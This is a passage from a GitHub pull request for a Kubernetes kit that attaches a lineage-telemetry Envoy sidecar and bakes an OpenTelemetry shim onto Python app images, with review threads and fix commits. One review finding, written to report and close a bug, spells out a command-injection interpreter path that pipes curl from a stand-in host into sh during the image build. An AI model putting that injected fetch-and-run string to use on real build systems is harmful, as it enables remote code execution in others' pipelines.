Summary

authbridge/lineage-attach/: attach per-request data lineage to a Deployment that is already
running
, and nothing else. It attaches the envoy-sidecar, enables the lineage-telemetry plugin (#761),
and every HTTP exchange becomes two facts-only spans sent to any OTLP consumer; for an uninstrumented
Python app it also bakes a propagate-only OpenTelemetry layer, activated by one environment variable,
so the pairing is correct under concurrency. Nine files, 1,998 lines, additions only.

Depends on: #761 (the plugin; this kit follows its wire contract v1.6 and was validated against it)
— merge after it. Based on current main.
Requires Kubernetes ≥ 1.29: the sidecar is attached as a native sidecar (see "Attach only" below).
Start reading at RECIPE.md (the steps with expected output and back-out), then README.md (the
idea, what the spans carry, the two attach routes), then DESIGN.md (why propagation is the app's job,
why the sidecar is native, the shim's envelope, the case that looks fine and is not, the limits).
Supersedes #762, which carried the kit and the demo together with the work history; this is the kit
alone, on a curated history. A runnable demo on the Weather Agent pair follows as its own PR once
this one lands.

What is in the diff

file lines what
attach-lineage.sh 472 the one generator — every YAML byte: EMIT=patch (default), EMIT=cm, or EMIT=undo (the exact reverse patch for back-out); validates every caller input; never touches the cluster
sidecar-patch.sh 254 the live applier: six read-only preconditions → server-side dry-run → ConfigMap → patch → prints the exact reverse-patch back-out line → rollout wait
build-otel-shim.sh 326 bakes the shim onto an app image; detects interpreter and uid:gid from the image; refuses images it cannot safely wrap; attests every bake
Dockerfile.otel-shim 85 the propagate-only layer: eight instrumentors pinned to one contrib release, uv pinned by digest; uv pip check fails the build on a dependency conflict the install introduced
lineage-propagate-hook.py 40 the env-gated site-packages hook (.pth + module); the image's command is never rewritten
container-runtime.sh 61 podman-vs-docker detection and kind loading
README.md · RECIPE.md · DESIGN.md 313 · 139 · 308 as above

Attach only

The kit never deploys an application. It emits one strategic-merge patch (proxy-init and envoy-proxy
as init containers, two config volumes, and — opt-in — one env var and one image reference on the app's
own container) and one ConfigMap (the parser chain plus the plugin entry). Lists merge by name, so
nothing the owner wrote changes.

envoy-proxy is attached as a native sidecar — an initContainers entry with restartPolicy: Always and a startupProbe on the outbound listener. proxy-init redirects the pod's egress the moment
it runs, so a plain-container sidecar would let an app that dials out at process start (peer discovery,
a config fetch) reach the redirect before the proxy is listening — connection refused, the pod "running",
the failure silent. The native sidecar makes the kubelet hold the app container until the proxy is
accepting, with no cooperation from the app. This needs k8s ≥ 1.29 (native sidecars on by default
from 1.29, GA 1.33); on an older cluster the apiserver rejects the native-sidecar fields (startupProbe: Forbidden …) — loud, on both routes: the adopt path at the applier's server dry-run, before any write
(with a needs-1.29 hint); the manifests route at the operator's own kubectl apply of the Deployment
(the ConfigMap from that same apply persists, inert on its own). Verified on a real 1.28 cluster.

Back-out is a reverse patch, not rollout undo: the applier prints (and EMIT=undo regenerates) a
strategic merge that $patch: deletes exactly what the attach added and restores the app image it
replaced, so it is correct at any later time and leaves every change the owner made since the attach in
place. (A rollout undo would restore a whole earlier pod template, silently reverting the owner's later
changes.)

Two routes to the same two objects: adopt a live Deployment (DEPLOY=<name> ./sidecar-patch.sh:
six preconditions — the Deployment exists; the platform-rendered envoy-config is in the namespace; no
container named envoy-proxy/proxy-init; no container declares 9090/15123/15124; no volume named
envoy-config/authbridge-runtime; APP_CONTAINER, if given, names a real container — then the server
dry-run, which is also the k8s-version guard),
or bring your own manifests (EMIT=cm and EMIT=patch to files under a kustomization.yaml;
verified with kubectl kustomize and kubectl patch --local: identical result). The manifests route
does not run the dry-run, but the apiserver rejects the native-sidecar fields at your own apply on < 1.29.

Propagation

The sidecar sees every hop but cannot know which inbound caused which outbound; only code inside the
request can carry the context through. When the app does not, #761's plugin does not guess: the hop
records parent.source=none and fragments, visibly. For an uninstrumented Python app
(Starlette/ASGI/FastAPI in; httpx/requests/aiohttp/urllib3 out; threading across executors) the shim
supplies it: bake, then APP_CONTAINER=<name> merges LINEAGE_PROPAGATE=1 into that container's env
and APP_IMAGE points it at the baked image; the hook runs stock auto-instrumentation at interpreter
start only under that variable, every exporter pinned to none. An app that instruments itself is
refused by the bake interlock (REFUSING to bake …: it already instruments httpx) and uses its own
switch. DESIGN covers the half-instrumented app, the case every per-trace check passes while attribution
is entirely lost.

Defaults are the plugin's

capture_io is off unless CAPTURE_IO=true; the cap is the plugin's 4096 unless MAX_PAYLOAD_BYTES
says otherwise (-1 attaches whole). README's prerequisites state what capture ships: PII-bearing
content, plain gRPC unless OTEL_ENDPOINT is https://…, printed into the collector's pod log on the
stock platform.

The generated pieces

Same hardening as demos/mtls: all capabilities dropped, no privilege escalation, proxy-init adds back
exactly NET_ADMIN + NET_RAW as root, envoy-proxy non-root as 1337 with seccompProfile: RuntimeDefault, a startup probe on its outbound listener and a readiness probe on its inbound listener,
requests and limits on both. Every caller input is validated before it is emitted (RFC 1123 / DNS-label
names, ports in 1–65535 with no leading zeros, enumerated switches, image/interpreter refs against a safe
character set, free-form values refused if they carry ", \, ' or whitespace); a validated-input
refusal is exit 2 (a missing required NAME/DEPLOY is exit 1, and the bake's refuse-to-wrap paths
are exit 3).

Evidence

  • Offline: real bakes across base layouts, an already-baked image refused, a hostile-image command
    injection into the build refused, gate-off inertness and gate-on propagation proven end to end — an
    inbound traceparent and tracestate survive Starlette, a thread pool and requests to the outbound.
  • Native sidecar, live: an app that makes one outbound call at process start, attached behind the
    real proxy-init egress redirect, reaches its peer on the first boot (HTTP 200, 0 restarts); the
    same app with a plain-container arrangement gets connection-refused on the same cluster.
  • Full fleet, live (11-service application, one turn, cortex span evidence only): one trace, 344
    spans, 172 request == 172 response, 0 unpaired, 171 tracestate + exactly 1 wire at the entry
    (the driver sends a traceparent), 0 none, 0
    strays — matching the pre-native-sidecar shape (no regression). Earlier runs found the urllib3 gap
    and the plaintext-Postgres case; both fixes are here.

Gates

shellcheck --severity=error (as the Security Scans job runs it): exit 0 on all four scripts (at default
severity, only info/warning remain: SC2016, SC1007). hadolint --failure-threshold error with the
repo's ignore list: exit 0 (DL3066 + DL3059, both info). ruff at the pre-commit pin, bandit -ll: clean.
git diff --check: clean. Generated YAML: every mode parses and passes a server-side dry-run.

We tested the kit end to end on a kind cluster while addressing the review: repeated bakes across
base-image layouts, attach → back-out round-trips, hostile inputs against each guard (including a base
image built to attack the interpreter detection), a real 1.28 apiserver for the version story, and
multi-service fleet turns with span-shape checks. Several fixes came from that testing rather than from
review threads — the native sidecar among them.

  • Documentation

    • Documented prerequisites, configuration, troubleshooting, limitations, and Kubernetes 1.29 requirements.

authbridge/lineage-attach: attach the AuthBridge envoy sidecar with the
lineage-telemetry plugin (rossoctl#761) to a Deployment that is already running, and
nothing else. attach-lineage.sh generates the two objects — a per-app plugin
ConfigMap and a strategic-merge patch (proxy-init, envoy-proxy, two config
volumes, and opt-in one env var and one image reference on the app's own
container) — validating every caller input; sidecar-patch.sh applies them
live behind five read-only preconditions, prints the exact rollout undo to
return to, and waits; build-otel-shim.sh + Dockerfile.otel-shim +
lineage-propagate-hook.py bake a propagate-only OpenTelemetry layer onto an
uninstrumented Python app image, activated by LINEAGE_PROPAGATE=1 through a
site-packages hook (no command rewrite), refusing images that already
instrument and attesting every bake; container-runtime.sh picks podman or
docker and kind-loads either way.

Lists merge by name, so nothing the owner wrote changes; a patch is one
revision. Content capture (capture_io) keeps the plugin's default, off.
Follows lineage wire contract v1.6 (parent.source tracestate / wire / none).

RECIPE.md is the steps with expected output and back-out; README.md the
idea, what the spans carry and the two attach routes (live, or your own
kustomization); DESIGN.md why propagation is the app's job, the shim's
envelope, the half-instrumented case, and the limits.

📝 Walkthrough

Walkthrough

Adds a propagate-only OpenTelemetry shim, native Kubernetes sidecar attachment, collision checks, reversible patches, container-runtime handling, and operator documentation for lineage telemetry.

Changes

Lineage attachment workflow

Layer / File(s) Summary
Python propagation image workflow
authbridge/lineage-attach/lineage-propagate-hook.py, authbridge/lineage-attach/Dockerfile.otel-shim, authbridge/lineage-attach/build-otel-shim.sh, authbridge/lineage-attach/container-runtime.sh
Builds and activates propagation only when LINEAGE_PROPAGATE=1. Validates interpreter, user, image, and instrumentation state before loading images into kind.
Sidecar manifest generation
authbridge/lineage-attach/attach-lineage.sh
Emits native sidecar manifests with probes, security profiles, pod IP data, and a strategic reverse patch.
Deployment attachment and rollout
authbridge/lineage-attach/sidecar-patch.sh
Checks Deployment resources and collisions, performs a server-side dry-run, applies the ConfigMap and patch, prints rollback commands, and waits for rollout.
Operator workflow and design documentation
authbridge/lineage-attach/DESIGN.md, authbridge/lineage-attach/README.md, authbridge/lineage-attach/RECIPE.md
Documents propagation behavior, Kubernetes requirements, supported protocols, configuration, verification, rollback, troubleshooting, and fleet rollout.

Priority: ➖ Normal — Schedule the lineage attachment kit because it adds a broad Kubernetes Deployment integration covering propagation, sidecars, rollback, and runtime tooling without supplied external urgency.

Estimated code review effort: 4 (Complex) | ~60 minutes

Merge Risk: 🟡 Moderate · up to e6f9c

The lineage attachment kit can alter application propagation settings and its back-out path can replace newer owner image or environment changes. Enrolled workloads may also fail startup if the operator-provided identity file is not ready. These behaviors and the related operator guidance should be corrected before merge.

🌐 Web query:

Kubernetes official API EnvVar value and valueFrom cannot both be specified strategic merge patch env list merge key name

💡 Result:

In the Kubernetes API, the fields value and valueFrom within an EnvVar object are mutually exclusive [1][2][3]. You cannot specify both for the same environment variable; attempting to do so will result in a validation error [4][5][6]. When using kubectl apply or kubectl patch with the default strategic merge patch strategy, this mutual exclusivity often causes issues during updates [4][5][7]. Because strategic merge patch merges lists based on a merge key—in the case of the env list, the merge key is name [8][9][10]—a patch might unintentionally attempt to keep a previously set value while introducing a new valueFrom (or vice-versa) [4][5]. The resulting error, commonly cited as "Invalid value: "": may not be specified when value is not empty," occurs because the final merged state of the EnvVar object contains both fields [4][5][6]. To resolve this during updates, you must explicitly nullify the field you are removing. For example, if you are transitioning an environment variable from value to valueFrom, your patch should explicitly set value: null [5]. This ensures the merge process correctly removes the existing value instead of retaining it alongside the new valueFrom [5]. Alternatively, ensuring your manifest or patch correctly defines only one of the two fields is required to maintain a valid API object [4][5].

Citations:


Handle an existing LINEAGE_PROPAGATE.valueFrom entry.

If the target container already defines LINEAGE_PROPAGATE with valueFrom, the strategic merge adds value: "1" without removing valueFrom. Kubernetes rejects the resulting EnvVar because these fields are mutually exclusive. Preflight this entry and refuse it, or emit a replacement that removes valueFrom.

An attach kit for a Deployment someone else owns, and the care shows throughout: every input validated before a byte is emitted, five read-only preconditions before the first write, both objects generated before anything is applied, and the back-out line printed before the rollout wait so a hung rollout still leaves a way home. local x; x="$(...)" is split correctly everywhere, so a generator refusal really does propagate under set -e.

I reviewed against the generator's real output rather than by reading alone — kubectl patch --local (v1.33.2) on synthetic targets, attach-lineage.sh run in every mode, and direct probes of the shell idioms. Four of the six must-fixes are things that came back from that and would not have surfaced from a read.

The two that matter most are both consequences of the same mechanism, and both hit a Deployment you do not own:

  1. Strategic merge prepends new list items, so proxy-init lands ahead of the target's own initContainers while its egress redirect outlives it — any target whose init containers make an outbound call cannot start after the attach.
  2. Volumes merge by name, so a pre-existing envoy-config volume is silently repointed and its items list replaced wholesale.

Both are the class of breakage the five preconditions were built to prevent, which is why they read as gaps rather than decisions.

Checked and clean, so it is on record: YAML injection is genuinely airtight — yaml_safe provably rejects ", \, whitespace and control characters (I probed it), and allowing $(id) and backticks is correct, because those land in a double-quoted YAML scalar and never re-enter a shell. No unquoted expansion that could take a space, glob or empty value; the one deliberate word-split is gated by a digits-and-commas regex. local x=$(cmd) masking is absent throughout. Portability is clean on every trap I checked — no sed -i, base64 -w, grep -P, readlink -f, nothing needing bash ≥ 4 — so this works on macOS bash 3.2. --type strategic is the right patch type, the rendered YAML parses in both modes, and {.metadata.annotations.deployment\.kubernetes\.io/revision} is escaped correctly. KIND_CLUSTER_NAME ?= rossoctl matches the sibling Makefiles. The Python hook is exactly what the docs describe, and its fail-open policy is the right call for code riding inside someone else's app.

Two claims in the Gates section worth calibrating. CI's Shell Script Lint runs shellcheck --severity=error, which by design does not report SC2086, SC2046 or SC2155 — all warning level — so a green run there is real but narrower than it reads. And "every refusal is exit 2" holds for every validated-input refusal (13 of them), but ${NAME:?} and ${DEPLOY:?} exit 1; I checked.

Cross-PR: this depends on unmerged #761, which has changes requested as of today. The https:// route for an off-pod collector also inherits #761's system-roots-only TLS, so it cannot reach a collector with a cert-manager-issued certificate — worth keeping the two consistent. The README links into docs/plugin-catalog.md#lineage-telemetry and docs/lineage-wire-contract.md, which #761 adds; having read that PR, both targets exist, so the links resolve once it lands.

Areas reviewed: Shell (4 scripts, read in full), Dockerfile, Python, K8s patch semantics, docs, security. 2 commits, both signed off, no Co-Authored-By. CI 20/20 green, Spellcheck skipped. No .claude/ or .vscode/ changes.

must-fix — a strategic merge prepends new list items, so proxy-init lands before the target's own initContainers. Reproduced with kubectl patch --local (v1.33.2) on this generator's output:

target:  initContainers: [db-migrate]
merged:  initContainers: [proxy-init, db-migrate]

authbridge/proxy-init/init-iptables.sh installs a blanket nat OUTPUT TCP REDIRECT to 15123, and those rules persist in the pod netns after proxy-init exits. envoy-proxy is a regular container, so it cannot start until every initContainer has completed. db-migrate therefore runs with its egress redirected to a port nothing is listening on: connection refused, init container fails, pod never starts. DNS survives — the redirect is TCP-only — which makes it look like an app bug rather than an attach artefact.

Any target whose init containers make an outbound call is affected: DB migrations, config fetch, schema registration, waiting on a dependency. No precondition covers it, and RECIPE.md:17 inspects initContainer names only, so nothing warns the operator.

Either fix works:

  • a sixth precondition refusing a target that declares its own initContainers, with an explicit override for operators who know theirs are network-free;
  • or make envoy-proxy a native sidecar (an initContainers entry with restartPolicy: Always), which starts it ahead of the other init containers and closes the app-startup race in the same stroke.

must-fix — volumes merge by name too, so a target that already has a volume named envoy-config has its source silently repointed, and configMap.items (KeyToPath, no merge key) is replaced wholesale rather than merged. Both reproduced locally:

before: {name: envoy-config,       configMap: {name: my-own-envoy-cfg}}
after : {name: envoy-config,       configMap: {name: envoy-config}}

before: {name: authbridge-runtime, configMap: {name: my-own-runtime,
         items: [envoy.yaml, extra.yaml]}}
after : {name: authbridge-runtime, configMap: {name: authbridge-lineage-config-myapp,
         items: [config.yaml]}}

The app's own volumeMounts are untouched, so /etc/envoy and /etc/authbridge quietly start serving different ConfigMaps and two of its files disappear — at the next pod start, with no error and nothing in a diff. envoy-config is platform-wide enough for this to be reachable (sidecar-patch.sh:69 calls it "rendered by the platform chart"), and a target can hold that volume without holding a container named envoy-proxy, so refuse_name_collision does not catch it.

This is the one counterexample to the claim the whole kit rests on (attach-lineage.sh:15, sidecar-patch.sh:5, README.md:81): here a name collision means something the owner wrote does change. It also couples into the ConfigMap-deletion path below — if the existing volume is a different type (emptyDir, secret, projected), the merged volume carries two type fields, the API server rejects the patch, and the compensation then deletes the ConfigMap.

Extending refuse_name_collision to .spec.template.spec.volumes[*].name covers it; "volume" currently appears nowhere in README, DESIGN or RECIPE.

must-fixNAMESPACE silently defaults to team1 and is emitted into both objects (:292 for the ConfigMap, :324 for the patch), but the string team1 appears zero times in README, RECIPE, DESIGN or the PR body — I grepped all four. README.md:201 lists NAMESPACE as a knob without its default.

So the "bring your own manifests" example at README.md:101-104, which omits NAMESPACE, writes namespace: team1 into lineage-cm.yaml. Fed to the kustomization.yaml at README.md:106-112 with a Deployment in any other namespace, kubectl kustomize exits 0 with no warning and renders the ConfigMap in team1 and the Deployment in its own namespace — the patched pod then mounts a ConfigMap that does not exist there and hangs in ContainerCreating. README.md:248 documents only the envoy-config flavour of that symptom ("Not a platform-set-up namespace"), which points the user somewhere else entirely.

The adopt route at README.md:73 has the same omission but fails cleanly (deployments.apps "x" not found in team1), so that half alone would be a suggestion. Adding NAMESPACE= to both examples and stating the default beside the knob fixes both.

must-fix — "it boots without the plugin" is not the failure mode. plugins.Build fails closed on an unregistered name:

// authlib/plugins/registry.go:296
return nil, fmt.Errorf("unknown plugin %q (registered: %v)", e.Name, pluginNames)

So with the default SIDECAR_IMAGE — a published :latest predating #761 — the emitted ConfigMap names lineage-telemetry, the sidecar refuses to start, and because proxy-init has already redirected the pod's egress to an envoy that never comes up, the target workload is broken, not merely un-instrumented. That is the default path, and the header currently promises graceful degradation on it.

NO_EMIT=1 is the actual graceful option (the parsers exist in older images), so it is what this note should point at until a release carries the plugin. Worth naming the crashloop explicitly too: recovery works, since rollout status fails and the back-out line is printed first, but only for someone who knows what they are looking at.

must-fix — this reads VENV_PYTHON from the base image's own VIRTUAL_ENV, and it reaches two unquoted, shell-form RUN lines:

# Dockerfile.otel-shim:51
RUN uv pip install --no-cache --python ${VENV_PYTHON} --system --break-system-packages \
# Dockerfile.otel-shim:64
RUN sp="$(${VENV_PYTHON} -c 'import sysconfig; ...')"

The only validation is runs_python, which just needs an executable at that literal path — and Linux filenames may contain ;, $( ), backticks and spaces. A base image shipping its interpreter at /opt/v;curl http://x|sh;#/bin/python satisfies the probe and yields RUN uv pip install --python /opt/v;curl http://x|sh;#/bin/python …, i.e. arbitrary commands running inside the build — with network, and the resulting image is then kind-loaded.

The host-side quoting is correct; the injection is into the Dockerfile. This matters because the script explicitly adopts an untrusted-image posture — line 21, "Every probe runs the (unaudited) app image with --network=none" — and this is the one step that hands that image's data to a networked build. Validating against ^/[A-Za-z0-9._/-]+$ before use, and quoting the ARG in the Dockerfile, closes it.

Separately on this line and :106: both use a bare inspect, while :51 and :59 correctly use image inspect. Docker and podman both resolve a bare inspect against containers first, so a container that happens to share the base ref's name (docker run --name my-agent my-agent) silently supplies the interpreter and uid/gid. Containers expose .Config.Env/.Config.User too, so it produces wrong build-args rather than an error.

#
# Build with build-otel-shim.sh (detects the build-args, refuses images it
# cannot safely wrap, attests the result, kind-loads it). Direct:
# podman build -f Dockerfile.otel-shim --build-arg BASE_IMAGE=<app> -t <app>-otel:latest .

suggestion — this direct invocation passes only BASE_IMAGE, so APP_UID=1001 / APP_GID=0 silently apply and any base running as a different user has its runtime uid changed by the bake. The asymmetry is the trap: VENV_PYTHON's default fails loudly (the RUN errors when the path is absent) while these two fail silently — the image builds and only breaks at runtime on permissions. Either drop this line in favour of build-otel-shim.sh, which detects both, or declare the two ARGs with no default so an unset value renders USER : and fails the build.

Related, and worth a line in DESIGN: :31/:68 rewrite USER rootUSER <uid>:<gid>, so a base image's named user becomes numeric and loses its supplementary groups. DESIGN.md:82 correctly says the ENTRYPOINT/CMD is never rewritten; the USER rewrite is documented nowhere. On the same passage, DESIGN.md:85 says the bake "attests both halves" of the runs-exactly-as-its-base claim — verify_inert starts a bare interpreter and never executes the image's ENTRYPOINT/CMD, so it proves the no-OTel-module half only.

nit — neither generated container sets seccompProfile: { type: RuntimeDefault }. The reference named for hardening parity does set it (demos/mtls/k8s/callee-envoy.yaml:33), but at pod level — which an attach patch correctly must not do, since it would land on the owner's app container too. Container-level on the kit's own two has no such objection, and RuntimeDefault does not interfere with proxy-init's iptables work. Worth either adding, or saying in the body that pod-level seccomp is deliberately out of scope for a patch.

nit — the comment is accurate for exit statuses but not for signals: Ctrl-C during podman save skips this line and leaves the archive behind, which for an app image is easily multiple GB in TMPDIR. trap 'rm -f "$tar"' RETURN INT TERM right after the mktemp covers all three paths. It is the only temp file in the four scripts.

Also here: :34's kind_load_${CONTAINER_TOOL} supports only the literals podman/docker, while build-otel-shim.sh:22 and README.md:245 advertise CONTAINER_TOOL as a general override — nerdctl, or an absolute path like /opt/homebrew/bin/podman, builds fine and then dies with command not found after both attestations. Validating the value in container_tool() fails it in the right place.

nit — "The patch only adds" (and :108's "# yours untouched") is contradicted by the kit's own documentation two sections later. attach-lineage.sh:200-206 replaces a field the owner wrote:

if [ -n "$APP_IMAGE" ]; then
  app_patch="${app_patch}
      image: \"${APP_IMAGE}\""

README.md:126-128 already says the patch swaps image and leaves imagePullPolicy alone, so the absolute phrasing here just needs qualifying — "only adds, except the app container's image when APP_IMAGE is given".

nit — a handful of small doc-vs-code slips, grouped since each is one line:

  • This pass criterion is not the last line: after that echo, publish() unconditionally prints a >> NOTE: block (build-otel-shim.sh:227-237) — 5 lines by default, 3 under SELF_ACTIVATE=1. RECIPE.md:3 explicitly targets "an operator or a coding agent", so a literal last-line check fails a successful bake.
  • README.md:133 shows SELF_ACTIVATE=1 ./build-otel-shim.sh with no image argument; build-otel-shim.sh:31 requires one and exits 1.
  • DESIGN.md:186-191 attributes three refusals to FORCE_BAKE=1, but build-otel-shim.sh:137 scopes it to refuse_already_instrumented only — detect_python still exits 3 regardless. (build-otel-shim.sh:15 gets this right by scoping the flag to "the interlock", and RECIPE.md:52's "pass the interpreter as arg 3" is the correct escape hatch there.)
  • sidecar-patch.sh:15-16 and RECIPE.md:104 describe the back-out as the line the script "prints last"; it prints before rollout status and before the final >> lineage sidecar attached — as RECIPE's own expected-output block at :66-71 correctly shows. Deliberate and right; just not "last".
  • Implemented but undocumented: NO_KIND_LOAD=1, and positional args 2 (wrapper-tag) and 4 (app-uid[:gid]) — RECIPE.md:52 mentions only arg 3.

The script checks containers[].ports[] for a collision on ports 9090/15123/15124, and the code comment explicitly notes: "A native sidecar, an initContainer with restartPolicy: Always, is covered by name here but not by the port check below." This is an honest, self-aware limitation, but it currently exists only as an inline code comment — it is not surfaced in README.md's "Troubleshooting" table or in RECIPE.md's preconditions section, both of which are the documents an operator (the target audience per the PR's own "Inputs" framing) would actually read. Suggest promoting this caveat to the README/RECIPE troubleshooting material so operators using native sidecars don't discover the gap only by reading the shell script source.

… back-out

Review fixes on the attach/apply path (huang195's MF-2/MF-6, S-2/S-3/S-4,
N-1, CodeRabbit's CR-1/CR-2/CR-4, and abigailgold's native-sidecar-ports
comment):

- New precondition: refuse a target that already owns an envoy-config or
  authbridge-runtime volume — volumes merge by name, so the owner's volume
  would be silently replaced, and the two mounts would then project the
  wrong content.
- The port-collision check now ranges initContainers[*].ports[*] too, so a
  target carrying its own native sidecar on 9090/15123/15124 is refused
  instead of invisibly collided with.
- The fully merged patch is validated with --dry-run=server before the
  first write: every rejection class (invalid merged field, admission
  webhook, RBAC) fails with nothing applied. The failure compensation
  deletes the ConfigMap only when this run created it, so a re-run after a
  platform rewrite cannot destroy the CM that running pods project.
- Back-out is a reverse strategic-merge patch, not `rollout undo`: the
  printed line `$patch: delete`s exactly what the attach added and restores
  the captured pre-attach image (the one field with no delete semantics),
  so it is correct at any later time and leaves the owner's later changes
  in place, where a revision-pinned undo silently reverted them. EMIT=undo
  regenerates the same patch offline; RESTORE_IMAGE is its own knob so
  reusing the attach invocation verbatim is refused rather than
  "restoring" the -otel image.
- seccompProfile: RuntimeDefault on both generated containers
  (container-level, so it merges without touching the pod's own
  securityContext).
- A timed-out rollout is left patched on purpose, and the script and
  RECIPE now say so: maxUnavailable keeps the old pod serving, the printed
  back-out line is the clean way out, and an auto-undo would fight a
  slow-but-healthy rollout while hiding the likely cause.
- CAPTURE_IO=true over a non-https OTEL_ENDPOINT prints a one-time NOTE on
  stderr — a warning, not a refusal, because the default endpoint is the
  in-cluster platform collector and plaintext OTLP in-cluster is the
  platform norm.

…dation

Review fixes on the shim-bake path (huang195's MF-5, S-5/S-6/S-8, N-2),
plus two gaps our own testing found on podman:

- Command-injection defense on the interpreter path (MF-5): the
  detected-or-explicit interpreter ref is validated against
  ^[A-Za-z0-9._/-]+$ before it reaches the Dockerfile's shell-form RUN — a
  detected candidate that fails is skipped (detection falls through to the
  literal fallbacks), an explicit argument that fails is refused — and both
  RUN lines quote the ARG as defense in depth. The two bare `inspect` calls
  are now `image inspect`. The injection was reproduced first: a base image
  shipping python at a shell-metacharacter path executed the payload inside
  the networked build on the old code; with the guard it cannot.
- A wrapper tag that resolves to the base image is refused (S-5), compared
  on the raw inputs and their resolved forms — catching the
  docker.io/library/ alias collision and podman's localhost/ namespace.
- The instrumentation interlock distinguishes "clean" from "the probe did
  not run" (S-6): the probe prints a verdict (instrumented:<mods> / hook /
  clean) and exits 0 whenever it ran, find_spec wrapped per module; the
  guard refuses on a non-zero exit, a positive verdict, or unexpected
  output. FORCE_BAKE=1 still short-circuits.
- Direct docker/podman builds must pass APP_UID/APP_GID (S-8): the
  defaults are gone and a build-time guard refuses an empty value — an
  empty `USER :` resolves to root on podman rather than failing, so the
  guard is explicit. detect_user validates that the image's own id output
  is numeric, so a base image with a lying or broken id binary is refused
  instead of trusted.
- CONTAINER_TOOL is validated against podman/docker, and the kind-load
  archive is cleaned up on RETURN and on INT/TERM with the signal
  re-raised (N-2) — Ctrl-C aborts the bake instead of being swallowed. A
  RETURN-trap double-fire from the first cut of that fix broke kind_load
  on podman (`tar: unbound variable`); the trap layering is now correct
  and proven by real bakes.

Two changes born from live testing, no review thread — the startup race and
the version guard that testing then retired. Together they supersede the
review's MF-1 (by taking huang195's own option (b)) and S-1.

The race: proxy-init redirects the pod's egress the moment it runs, and
with envoy-proxy as a plain container an app that dials out at process
start (peer discovery, a config fetch) reached the redirect before envoy
was listening — connection refused, pod "Running", the failure silent (an
agent fleet came up with 0 peers). envoy-proxy is now emitted as a native
sidecar: an initContainers entry with restartPolicy: Always and a
startupProbe on the outbound listener (15123 — the listener startup egress
actually hits; readiness stays on the inbound listener, which gates
Service endpoints, a separate concern). The kubelet holds the app
container until the proxy accepts, with no cooperation from the app.
Reproduced both directions on one cluster: native = first-boot 200 with
0 restarts; the plain-container arrangement = connection refused with the
pod 2/2 Running.

Consequences: a target's own initContainers no longer need refusing —
they run after envoy is up with working egress (MF-1's option (b), so no
refusal and no override knob); the app stays the pod's only regular
container and is the default for kubectl logs/exec by itself (S-1, no
annotation needed); EMIT=undo deletes envoy-proxy from initContainers;
and EMIT=patch emits a containers: key only when an app fragment exists —
a bare key is `containers: null` and would clobber the owner's list.

The version guard: native sidecars need k8s >= 1.29, and a first cut
parsed `kubectl version` to refuse older clusters, asserting 1.28
"silently drops restartPolicy and wedges init". A test on a real v1.28.15
apiserver disproved that: the server REJECTS the patch at validation
(`startupProbe: Forbidden: may not be set for init containers without
restartPolicy=Always`) — loud, before any write, on the adopt route's
dry-run and at the manifests route's own apply. So the parse is gone and
the existing server-side dry-run is the guard: it validates the fully
merged object, fails on <1.29 with the real rejection, and the handler
adds a needs-1.29 hint when the error names the native-sidecar fields.
Capability detection by the server, not version assertion.

Also: POD_IPS (Downward API status.podIPs) is injected alongside POD_IP —
proxy-init prefers the plural for full dual-stack redirect and documents
the half-enforcement gap of the singular-only fallback.

The documentation-truth pass from review and testing (huang195's MF-3,
MF-4, N-3, N-4 and the prerequisites suggestion):

- The default (published) sidecar image does not "boot without the
  plugin": plugins.Build fails closed on the unknown name, the sidecar
  CRASHLOOPS, and because proxy-init has already redirected egress the
  workload is down until back-out — the SIDECAR_IMAGE note and README
  caveat now say so, and point at NO_EMIT=1 as the graceful parsers-only
  option on a stock image (MF-4).
- The NAMESPACE=team1 default is stated in the knob list, and the
  bring-your-own-manifests example sets NAMESPACE, with the
  ContainerCreating-hang symptom of omitting it (MF-3).
- "The patch only adds" is qualified: the app container's image is
  replaced when APP_IMAGE is given, and the back-out restores it (N-3).
- The host-side prerequisites are listed: podman or docker, kubectl, and
  kind only for the load path (review suggestion).
- The grouped doc-vs-code slips (N-4): RECIPE step 2's positional args and
  NO_KIND_LOAD=1, the SELF_ACTIVATE example's required image argument,
  FORCE_BAKE scoped to the instrumentation interlock, "prints last"
  corrected to "before the rollout wait".
- The CAPTURE_IO plaintext NOTE is gated to EMIT=cm so the applier's three
  generator runs print it once, not three times.
- Verify-step RBAC and the 1.29 wording trued against behavior a real
  1.28 apiserver showed: "before any write" holds on the adopt route
  (the dry-run precedes every write); on the manifests route the
  Deployment is rejected while the ConfigMap from the same apply
  persists, inert on its own since no pod references it.
- Two message nits: the duplicate `local dryrun_err` declaration dropped,
  and the needs-1.29 hint says "likely means" (it matches the server's
  message text, not a structured cause).

If podman save or kind load fails, rm -f still succeeds and becomes the loop iteration status. The command block can exit with status 0 after one or both images were not loaded. Exit after cleanup when either required command fails.

Preserve an existing LINEAGE_PROPAGATE entry.

If the app container already has LINEAGE_PROPAGATE with a direct value, the attach patch replaces it with "1". The undo patch then deletes the entry instead of restoring the original EnvVar definition. Refuse an existing entry, or capture and restore its complete original definition.

🌐 Web query:

site:docs.docker.com docker.io/foo docker.io/library/foo image reference omitted namespace

💡 Result:

When referencing a Docker image, the structure of the name typically follows the pattern [HOST[:PORT]/]NAMESPACE/REPOSITORY[:TAG] [1][2]. When you omit the namespace, Docker automatically assumes the library namespace, which is reserved for Docker Official Images [1][3]. Therefore, the references docker.io/foo and docker.io/library/foo (or simply foo) are functionally equivalent and resolve to the same image repository on Docker Hub [3][4]. - docker.io/foo is a shorthand that relies on the default behavior to resolve to docker.io/library/foo [1][3]. - docker.io/library/foo is the fully qualified path for an image within the official library namespace [3][4]. In practice, if you use docker pull foo, Docker Engine interprets this as docker.io/library/foo:latest by default [1][3]. If you specify docker.io/foo, the registry hostname is explicitly provided, but the namespace is still inferred as library if not explicitly included [1][2].

Citations:


Canonicalize the docker.io/<repository> alias.

norm_ref does not remove the docker.io/ prefix when the library/ namespace is omitted. Therefore, docker.io/foo and foo compare as different references even though Docker resolves both to docker.io/library/foo:latest. The guard can allow the wrapper build to overwrite the base tag.

Proposed fix

Track ConfigMap ownership atomically.

cm_existed is read before kubectl apply. If another actor creates the ConfigMap before apply, Kubernetes updates that existing object. The flag remains 0, so a later Deployment-patch failure deletes the other actor’s ConfigMap. Use an atomic kubectl create/AlreadyExists path, and set the cleanup flag only after this run successfully creates the ConfigMap.

All review feedback is addressed. Rather than 24 thread replies, here is the whole picture
in one place: what changed, which comment each change answers, and what changed with no
comment behind it. The work is organized as four commits on top of the kit —
e5c54a73 (applier), 06f43585 (bake), d63b6803 (native sidecar + version guard),
fbff6753 (docs) — and the demos-index row is gone from the diff entirely
(@abigailgold's comment:
the kit is not a demo; it stays reachable through the plugin catalog entry #761 adds, and
